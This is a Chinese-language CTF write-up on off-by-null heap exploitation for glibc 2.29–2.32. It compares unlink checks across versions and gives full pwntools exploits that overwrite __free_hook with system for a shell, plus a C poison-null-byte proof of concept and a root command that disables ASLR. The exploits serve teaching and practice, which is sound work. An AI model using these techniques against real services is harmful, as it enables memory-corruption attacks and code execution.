高版本off by null的总结
高版本libc(2.29-2.32) off by one的总结
首先介绍off-by-null各个版本的变化,不过说实话高版本libc(2.29-2.32) off by one有点不太适用现在的情况了,因为在相同的条件下完全可以适用更方便的方法而且限制更少,比如house of apple ,house of banana,Safe-Linking机制的绕过,tcache stashing unlink attack,而且在学习的时候最好从非爆破的方法学起,因为爆破的两个方法相比较下比较复杂,当是当作练习对堆的了解还是很好的。
2.23 之前的代码
void unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;
}
2.23
粘个图(unlink是必须了解的)
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
//多了一个检查如上图
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
2.27
unlink 没有什么变化只是整个宏定义被变更成了函数
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list");
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (chunksize_nomask (P))
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr ("corrupted double-linked list (not small)");
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
合并没有什么变化
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
/* consolidate forward */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
而在2.27之前的利用手法就是(如下图)只修改prev_size 和prev_inuse就可以触发
2.29
适用版本:2.29 2.32
利用前提;
unlink
static void unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}
合并变化
这里的情况是:
1. 检查 prev_inuse 位是否置为0,来决定是否触发向后合并。 2. 若触发,取出本 chunk 的 prev_size ,并根据 prev_size 找到要进行 unlink 的 chunk 。 3. 检查要进行 unlink 的 chunk 的 size 域是否与取出的 prev_size 相等。
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
//新保护
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
/* consolidate forward */
if (!nextinuse) {
unlink_chunk (av, nextchunk);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
也就是说要想在2.29-2.32版本如果是off by one的任意字节写,那么可以把A.size伪造成A.size+B.size。但是仅仅是写0字节就没有办法直接伪造成功。
因此需要伪造一个chunk p,这样就很容易可以绕过chunksize(p) != prevsize检查。
但由于是伪造的chunk,所以需要手动构造fd、bk以满足unlink的条件。
需要满足下面的条件(p是要释放的chunk,fake是我们伪造的chunk)
fake_chunk->fd->bk=fake_chunk_add
fake_chunk->bk->fd=fake_chunk_add
p->prev=fake_chunk->size
1、爆破法
1 创建padding抬高chunk地址让下面申请的大chunk A地址的第二个字节为\x00下 故会需要爆破概率为1/16 并让这个chunk进入large bin中这样是为了利用它的next指针(此时next指针指向它本身)(就是从A 中申请一个chunk作为fake因为此时fake的fd bk指针是原本的lA的next指针 此时就会有fake->bk=A )
2 申请出4个fastbin并让fake的fd指向fastbin中的一个chunkB在将fastbinB进入smallbin中(利用了malloc_consolidate()函数)这样chunk的bk指针就会有一个chunk地址(为什么不利用tcache是因为在2.29及以后的版本中在tcaahe中增加一个key机制)在利用(此时有了fake->fd=B)
3 利用uaf这个漏洞修改从small bin 中申请出的chunkB的bk指针的后一个字节为fake地址的第一个字节 ,又因为会自动补一个\x00会将第二个字节复改为\x00这也是为什么要抬高地址的原因,(此时有b->bk=fake)
4 再将fake申请回来将A的fd指针修改为fake的地址(因为fake的用户区是从A的fd指针开始)(此时有了A->fd=fake)
至于p->prev=fake_chunk->size这个自己根据实际情况在什么时候修改都行
缺点:
对申请的chunk的size有要求因为这个方法需要用到fasstbin
也就是说一大难点就是为fake布置可以绕过unlink检查的环境
例题 :happyending
在调试前关闭aslr
su
# input root password
echo 0 > /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space
# 0
参考的风沐云烟这个师傅的思路(很巧妙但有点复杂,可以加强堆的理解对ptmalloc源码的理解,因为涉及了large bin ,small bin,fastbin,tcache bin )
1、抬高地址让第二个字节为0 称这个chunk为a,故需要爆破1/16(如下图)
2、伪造fake chunk(需要考虑一个问题就是需要绕过unlink的双向链表检查)
首先让a进入large bin中因为largebin中只有一个chunk所以他的next指针指向自己 这个已经完成fake->bk=a
从a中申请出5个0x28的chunk
在申请fake是修改fd为a
让 15 17 号chunk进入fastbin 中首先将tcache填满
想要15 的bk指向fake(也即是14)
做法就是先让15进入fastbin在进入smallbin中,
申请0x400的chunk触发malloc_consolidate()函数把fastbin中chunk进入smallbin中让15这个chunk的bk出现一个堆地址
fastbin中
15的fd指向17
17的fd指向fastbin的bin头
smallbin中
15的fd指向17
15的bk指向smallbin的bin头
17的fd指向smallbin的bin头
17的bk指向15
申请0x28的chunk把在一个smallbin中一个chunk申请出一个,另一个进入tcache中
这是因为在ptmalloc开始前的一部分会检查存在的free的chunk是否在tcache中如果在就会来链入tcache中,在tcache stashing unlink attack中运用了这个点(当我们将chunk从small bin拿出来的时候,还会去检查当前small bin链上是否还有剩余堆块,如果有的话并且tcache bin的链上还有空余位置(tcache bin不能为空))
将15申请出来并修改一下fd
上面只是完成一半的检查 fake->bk=a fake->fd=a
fake->bk=a 不用配置因为在上面说了当large bin中只有一个是它的next指针指向的是字节,又因为fake是在a(那个large bin)申请的第一个0x28的chunk所以fake的bk指针就是a的bk_next指针
a->fd=fake 这个也好布置 因为fake的用户区就是从a的fd指针开始,将它free 在add回来就可以并写一个\x20就行
下面就是 fake->fd=b b->bk=fake
fake->fd=b 就是将fake申请回来直接修改fd
b->bk=fake 就是先将b放进fastbin 在进入smallbin中在申请回来 修改bk就行
接下来就是出发这个漏洞就可以
首先修改触发unlink漏洞的pri_size的大小,也就是根据这个来找到要合并的fake chunk
最后将这个chunk free 就行(被修改pri_size的chunk)
触发攻击时的布局
接下来就是打一个double free 打一个free_hook
首先申请一个0x40的chunk从合并的chunk中,然后释放掉
然后就是把0x14这个chunk(也就是fake chunk) free掉,形成double free
然后将14在申请出来将fd的位置写为free_hook
在通过tcache0x50 这个将它申请出来在里面写system
exp
from tools import*
context.log_level ='DEBUG'
def new(size,content):
p.sendlineafter('>\n','1')
p.sendlineafter('length :',str(size))
p.sendafter('them!',content)
def free(index):
p.sendlineafter('>','2')
p.sendlineafter('debuff :',str(index))
def show(index):
p.sendlineafter('>','3')
p.sendlineafter('blessing :',str(index))
p,e,libc=load('pwn')
add_p=0x129E
delete_p=0x1415
write_p=0x1547
for i in range(4): #0~3 padding
new(0x1000,'FMYY')
new(0x1000-0x3E0,'FMYY') # 4 填充字节使堆地址的后一个半字节为零,为什么不是后两个字节,因为那半个字节随机化
#--large bin
for i in range(7): #5~11
new(0x28,'FMYY')
new(0xB20,'FAKE') #11
new(0x10,'FMYY') #12 prevent merging
free(12) #let 11 chunks go into unsorted bins
new(0x1000,'FMYY') # 13 let 12 go into largebin
new(0x28,p64(0) + p64(0x521) + b'\x40') # apple back the first 0x28 of 12 that chunk 14
#--
#-- small bin cut 4 more chunks of 0x28 from 12 chunk
new(0x28,'F') #15 padding chunk b
new(0x28,'M') #16
new(0x28,'Y') #17 padding
new(0x28,'Y') #18
for i in range(7): #5 - 11 fill the 0x30 tcache
free(5+i)
free(17) #enter fastbin
free(15)
for i in range(7): # 5 ~ 11
new(0x28,'FMYY')
new(0x400,'FMYY') #go ahead and cut chunks from 12
#put the chunks in fastbin into smallbin
#在程序调用 malloc() 分配内存时,malloc() 会检查堆中是否有足够大的空闲块。
#如果没有,malloc() 就会调用 malloc_consolidate() 合并相邻的空闲块,以便为请求提供足够大的内存空间。
new(0x28,p64(0) + b'\x20') #14
new(0x28,'clear') # clear the tcachebin
#--
#--fast bin
for i in range(7): #5 ~ 11
free(5 + i)
free(16) #into fastbin
free(14)
for i in range(7): # 5 ~ 11
new(0x28,'FMYY')
new(0x28,'\x20') # 16 14
new(0x28,'clear')
new(0x28,'Target') #20
new(0x5F8,'Last') #21
#new(0x100,'FMYY')2
free(20)
new(0x28,b'\x00'*0x20 + p64(0x520))
free(21) #21 Trigger vulnerabilities
debug(p,'pie',add_p,delete_p,write_p)
new(0x40,'aaaaaaa') # take 0x40 from the merged chunk 21
show(16)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,b'\x00')) - 0x70- libc.sym['__malloc_hook']
log_addr('libc_base')
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
free(21) #21 release the chunk of the 0x40 of the application
free(14)
new(0x28,b'\x00'*0x10 + p64(free_hook)) #
new(0x40,'/bin/sh\x00') #21
new(0x40,p64(system))
free(21)
p.interactive()
改进版
这个方法只是利用了large bin 和unsorted bin就可以进行攻击 和上面的区别就是a和b的size在large内
完成布置的场景
fake->fd=a a->bk=fake
fake->bk=b b->fd=fake
fake chunk
a
b
触发unlink
poc
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
puts("Welcome to poison null byte!");
puts("Tested in Ubuntu 20.04 64bit.");
puts("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.");
puts("Some of the implementation details are borrowed from https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/off_by_null.c\n");
// step1: allocate padding
puts("Step1: allocate a large padding so that the fake chunk's addresses's lowest 2nd byte is \\x00");
void *tmp = malloc(0x1);
void *heap_base = (void *)((long)tmp & (~0xfff));
printf("heap address: %p\n", heap_base);
size_t size = 0x10000 - ((long)tmp&0xffff) - 0x20;
printf("Calculate padding chunk size: 0x%lx\n", size);
puts("Allocate the padding. This is required to avoid a 4-bit bruteforce because we are going to overwrite least significant two bytes.");
void *padding= malloc(size);
// step2: allocate prev chunk and victim chunk
puts("\nStep2: allocate two chunks adjacent to each other.");
puts("Let's call the first one 'prev' and the second one 'victim'.");
void *prev = malloc(0x500);
void *victim = malloc(0x4f0);
puts("malloc(0x10) to avoid consolidation");
malloc(0x10);
printf("prev chunk: malloc(0x500) = %p\n", prev);
printf("victim chunk: malloc(0x4f0) = %p\n", victim);
// step3: link prev into largebin
puts("\nStep3: Link prev into largebin");
puts("This step is necessary for us to forge a fake chunk later");
puts("The fd_nextsize of prev and bk_nextsize of prev will be the fd and bck pointers of the fake chunk");
puts("allocate a chunk 'a' with size a little bit smaller than prev's");
void *a = malloc(0x4f0);
printf("a: malloc(0x4f0) = %p\n", a);
puts("malloc(0x10) to avoid consolidation");
malloc(0x10);
puts("allocate a chunk 'b' with size a little bit larger than prev's");
void *b = malloc(0x510);
printf("b: malloc(0x510) = %p\n", b);
puts("malloc(0x10) to avoid consolidation");
malloc(0x10);
puts("\nCurrent Heap Layout\n"
" ... ...\n"
"padding\n"
" prev Chunk(addr=0x??0010, size=0x510)\n"
" victim Chunk(addr=0x??0520, size=0x500)\n"
" barrier Chunk(addr=0x??0a20, size=0x20)\n"
" a Chunk(addr=0x??0a40, size=0x500)\n"
" barrier Chunk(addr=0x??0f40, size=0x20)\n"
" b Chunk(addr=0x??0f60, size=0x520)\n"
" barrier Chunk(addr=0x??1480, size=0x20)\n");
puts("Now free a, b, prev");
free(a);
free(b);
free(prev);
puts("current unsorted_bin: header <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500]\n");
puts("Allocate a huge chunk to enable sorting");
malloc(0x1000);
puts("current large_bin: header <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]\n");
puts("This will add a, b and prev to largebin\nNow prev is in largebin");
printf("The fd_nextsize of prev points to a: %p\n", ((void **)prev)[2]+0x10);
printf("The bk_nextsize of prev points to b: %p\n", ((void **)prev)[3]+0x10);
// step4: allocate prev again to construct fake chunk
puts("\nStep4: Allocate prev again to construct the fake chunk");
puts("Since large chunk is sorted by size and a's size is smaller than prev's,");
puts("we can allocate 0x500 as before to take prev out");
void *prev2 = malloc(0x500);
printf("prev2: malloc(0x500) = %p\n", prev2);
puts("Now prev2 == prev, prev2->fd == prev2->fd_nextsize == a, and prev2->bk == prev2->bk_nextsize == b");
assert(prev == prev2);
puts("The fake chunk is contained in prev and the size is smaller than prev's size by 0x10");
puts("So set its size to 0x501 (0x510-0x10 | flag)");
((long *)prev)[1] = 0x501;
puts("And set its prev_size(next_chunk) to 0x500 to bypass the size==prev_size(next_chunk) check");
*(long *)(prev + 0x500) = 0x500;
printf("The fake chunk should be at: %p\n", prev + 0x10);
puts("use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk");
puts("Now we have fake_chunk->fd == a and fake_chunk->bk == b");
// step5: bypass unlinking
puts("\nStep5: Manipulate residual pointers to bypass unlinking later.");
puts("Take b out first by allocating 0x510");
void *b2 = malloc(0x510);
printf("Because of the residual pointers in b, b->fd points to a right now: %p\n", ((void **)b2)[0]+0x10);
printf("We can overwrite the least significant two bytes to make it our fake chunk.\n"
"If the lowest 2nd byte is not \\x00, we need to guess what to write now\n");
((char*)b2)[0] = '\x10';
((char*)b2)[1] = '\x00'; // b->fd <- fake_chunk
printf("After the overwrite, b->fd is: %p, which is the chunk pointer to our fake chunk\n", ((void **)b2)[0]);
puts("To do the same to a, we can move it to unsorted bin first"
"by taking it out from largebin and free it into unsortedbin");
void *a2 = malloc(0x4f0);
free(a2);
puts("Now free victim into unsortedbin so that a->bck points to victim");
free(victim);
printf("a->bck: %p, victim: %p\n", ((void **)a)[1], victim);
puts("Again, we take a out and overwrite a->bck to fake chunk");
void *a3 = malloc(0x4f0);
((char*)a3)[8] = '\x10';
((char*)a3)[9] = '\x00';
printf("After the overwrite, a->bck is: %p, which is the chunk pointer to our fake chunk\n", ((void **)a3)[1]);
// pass unlink_chunk in malloc.c:
// mchunkptr fd = p->fd;
// mchunkptr bk = p->bk;
// if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
// malloc_printerr ("corrupted double-linked list");
puts("And we have:\n"
"fake_chunk->fd->bk == a->bk == fake_chunk\n"
"fake_chunk->bk->fd == b->fd == fake_chunk\n"
);
// step6: add fake chunk into unsorted bin by off-by-null
puts("\nStep6: Use backward consolidation to add fake chunk into unsortedbin");
puts("Take victim out from unsortedbin");
void *victim2 = malloc(0x4f0);
printf("%p\n", victim2);
puts("off-by-null into the size of vicim");
/* VULNERABILITY */
((char *)victim2)[-8] = '\x00';
/* VULNERABILITY */
puts("Now if we free victim, libc will think the fake chunk is a free chunk above victim\n"
"It will try to backward consolidate victim with our fake chunk by unlinking the fake chunk then\n"
"add the merged chunk into unsortedbin."
);
printf("For our fake chunk, because of what we did in step4,\n"
"now P->fd->bk(%p) == P(%p), P->bk->fd(%p) == P(%p)\n"
"so the unlink will succeed\n", ((void **)a3)[1], prev, ((void **)b2)[0], prev);
free(victim);
puts("After freeing the victim, the new merged chunk is added to unsorted bin"
"And it is overlapped with the prev chunk");
// step7: validate the chunk overlapping
puts("Now let's validate the chunk overlapping");
void *merged = malloc(0x100);
printf("merged: malloc(0x100) = %p\n", merged);
memset(merged, 'A', 0x80);
printf("Now merged's content: %s\n", (char *)merged);
puts("Overwrite prev's content");
memset(prev2, 'C', 0x80);
printf("merged's content has changed to: %s\n", (char *)merged);
assert(strstr(merged, "CCCCCCCCC"));
}
利用手法
构造一个fake满足unlink条件构造。首先利用large bin多出的两个next指针去当作fake的fd bk指针
fake->fd=A fake->bk=B
下面就是利用uaf不断去修改A, B进入unsorted中让它们的fd 或bk指针为堆地址在修改一下最后一个字节为fake的最后一个字节就行了
大致布局
1 申请三个4个chunk A B0 C0 H0 D并让chunk C第一个地址是\x00 barrier为防止合并的chunk
如下图
2 设置prev->fd_next=A prev->bk_next=B (通过让prev A B这三个进入large bin中)
也就是构造好fake的fd bk 指针
在unsorted bin中是
large bin中时
在把prev这个chunk申请回来并伪造fake
设置 victim的prev的size为0x500
将B在申请回来并修改B的fd指针
将A申请回来(此时已经回复原来的状态)
变化
prev(fake->fd=A fake->bk=B size=0x501)
victim
B
接下来就只有A的bk指针没有修改了
然后一次free A2(就是第二次申请的A) victim 做出a->bk=victim:再将A2申请回来为A3修改第一个字节为fake的第一个字节(将A 和victim进入unsorted中形成一个双链表,目的就是让A的bk指针是一个堆地址就行)
将free的堆块申请回来
再将victim2申请回来修改一下inuse为0就可以了然后将victim释放掉就行了
非爆破
这个跟爆破的根本上的区别就是合并的方向
爆破法就是我们大多数遇到的情况就是向下合并(向低地址)这种合并方式导致我们无法只能修改地址最少要改变两个字节地址,这就导致我们只能倒数第二个字节一定为零,又因为有半个字节不确定,随意需要爆破半个字节
而非爆破的合并方向是向上合并(向高地址),假设要free的是A在上面的是B,这样的合并方式可以即保存指针又可以通过在申请是申请的大小为B+0x20,这样就可以修改A的fd或bk指针(就是通过补的一个\x00覆盖指针最后一个字节为零,这也就是为什么需要抬高C0的地址最后一个字节是\x00)
调试过程
1、chunk布局
申请chunk并抬高c0的地址&0xff=0
布置链表
C0->fd=A, C0->bk=D C0.size=0x551
一次释放A,C0,D进入unsortedbin中形成双链表从而构造出 C0->fd=A C0->bk=D
释放B0与C0合并将C0的fd bk指针保存下来
在申请一个比B0大0x20的chunk这样就可以修改C0的size
然后将剩下的chunk申请回来 称此时申请回来的C0为C1
修改A->bk=C0
做法是将A跟C1释放进入unsorted中形成链表
free C1
free A 此时A->bk=C1再将 A申请回来修改bk为C0的地址
接下来就是修改D->fd=C0
作法是将C1 D释放进入unsortedbin中 ,在将H释放将D合并,再将H申请出来回复size在利用补零将fd指针
修改D的prev_size
此时已经构造出fake 和它的的unlink关系
接下来就是打一个常规的tcache,free hook getshell。这个我在这仔细讲一下吧主要是自己基础不牢
主要就是在合并的大chunk中有一个没有free的chunk也就是防止合并的第六个chunk,也就是利用这个chunk去打一个tcache poisoning
源码
#include<stdio.h>
struct chunk{
long *point;
unsigned int size;
}chunks[9];
void add()
{
unsigned int index=0;
unsigned int size=0;
puts("Index:");
scanf("%d",&index);
if(index>=9)
{
puts("wrong index!");
exit(0);
}
if(chunks[index].point)
{
puts("already exist!");
return ;
}
puts("Size:");
scanf("%d",&size);
chunks[index].point=malloc(size);
chunks[index].size=size;
if(!chunks[index].point)
{
puts("malloc error!");
exit(0);
}
char *p=chunks[index].point;
puts("Content:");
p[read(0,chunks[index].point,chunks[index].size)]=0;
}
void show()
{
unsigned int index=0;
puts("Index:");
scanf("%d",&index);
if(index>=9)
{
puts("wrong index!");
exit(0);
}
if(!chunks[index].point)
{
puts("It's blank!");
exit(0);
}
puts(chunks[index].point);
}
void edit()
{
unsigned int index;
puts("Index:");
scanf("%d",&index);
if(index>=9)
{
puts("wrong index!");
exit(0);
}
if(!chunks[index].point)
{
puts("It's blank!");
exit(0);
}
char *p=chunks[index].point;
puts("Content:");
p[read(0,chunks[index].point,chunks[index].size)]=0;
}
void delete()
{
unsigned int index;
puts("Index:");
scanf("%d",&index);
if(index>=9)
{
puts("wrong index!");
exit(0);
}
if(!chunks[index].point)
{
puts("It's blank!");
exit(0);
}
free(chunks[index].point);
chunks[index].point=0;
chunks[index].size=0;
}
void menu()
{
puts("(1) add a chunk");
puts("(2) show content");
puts("(3) edit a chunk");
puts("(4) delete a chunk");
puts(">");
}
void init()
{
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
}
void main()
{
init();
unsigned int choice;
puts("Welcome to new school note.");
while(1)
{
menu();
scanf("%d",&choice);
switch(choice)
{
case 1:
add();
break;
case 2:
show();
break;
case 3:
edit();
break;
case 4:
delete();
break;
default:
exit(0);
}
}
}
exp
from tools import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p,e,libc=load('poc')
def choice(elect):
p.sendlineafter('>',str(elect) )
def choose_idx(idx):
p.sendlineafter("Index:\n", str(idx))
def add(index,size, content='A'):
choice(1)
choose_idx(index)
p.sendlineafter("Size:", str(size))
p.sendafter("Content:", content)
def edit(index,content,full=False):
choice(3)
choose_idx(index)
p.sendafter("Content:", content)
def show(index):
choice(2)
choose_idx(index)
def delete(index):
choice(4)
choose_idx(index)
# =============================================
# step1 P&0xff = 0
add_p=0x9fe
delete_p=0xD75
edit_p=0xCA7
show_p=0xB9F
add(0,0x418, "A"*0x100) #0 A = P->fd
add(1,0x108+0x40) #1 barrier
add(2,0x438, "B0"*0x100) #2 B0 helper
add(3,0x438, "C0"*0x100) #3 C0 = P , P&0xff = 0
add(4,0x108,'4'*0x100) #4 barrier
add(5, 0x488, "H"*0x100) # H0. helper for write bk->fd. vitcim chunk.
add(6,0x428, "D"*0x100) # 6 D = P->bk
add(7,0x108) # 7 barrier
# =============================================
# step 2 use unsortedbin to set p->fd =A , p->bk=D
delete(0) # A
delete(3) # C0
delete(6) # D
# unsortedbin: D-C0-A C0->FD=A
delete(2) # merge B0 with C0. preserve p->fd p->bk
add(2, 0x458, b'a' * 0x438 + p64(0x551)[:-2]) # put A,D into largebin, split BC. use B1 to set p->size=0x551
# recovery
add(3,0x418) # C1 from ub
add(6,0x428) # bk D from largebin
add(0,0x418,b"0"*0x100) # fd A from largein
# =============================================
# step3 use unsortedbin to set fd->bk
# partial overwrite fd -> bk
delete(0) # A=P->fd
delete(3) # C1
# unsortedbin: C1-A , A->BK = C1
add(0, 0x418, 'a' * 8) # 2 partial overwrite bk A->bk = p
add(3, 0x418)
# =============================================
# step4 use ub to set bk->fd
delete(3) # C1
delete(6) # D=P->bk
# ub-D-C1 D->FD = C1
delete(5) # merge D with H, preserve D->fd
add(6,0x500-8, b'6'*0x488 + p64(0x431)) # H1. bk->fd = p, partial write \x00
add(3, 0x3b0) # recovery
# =============================================
# step5 off by null
edit(4, 0x100*b'4' + p64(0x550))# off by null, set fake_prev_size = 0x550, prev inuse=0
debug(p,'pie',add_p,delete_p,edit_p,show_p)
delete(6) # merge H1 with C0. trigger overlap C0,4,6
# =============================================
# step6 overlap
add(6,0x438) # put libc to chunk 4
# z()
show(4) # libc
libc_addr = u64(p.recv(6).ljust(8,b'\x00'))
libc_base = libc_addr-0x1e4ca0
log_addr('libc_addr')
log_addr('libc_base')
delete(6) # consolidate
add(6, 0x458, 0x438*b'6'+p64(0x111)) # fix size for chunk 4. 6 overlap 4
delete(7) # tcache
delete(4) # tcache
edit(6, 0x438*b'6'+p64(0x111)+p64(libc_base+libc.sym['__free_hook'])) # set 4->fd= __free_hook
add(7,0x108,'/bin/sh\x00')
add(4,0x108,'/bin/sh\x00')
edit(4, p64(libc_base+libc.sym['system']))
delete(7)
p.interactive()
#0x202060
参考
https://fmyy.pro/2020/05/23/Competition/DASCTF-May/#happyending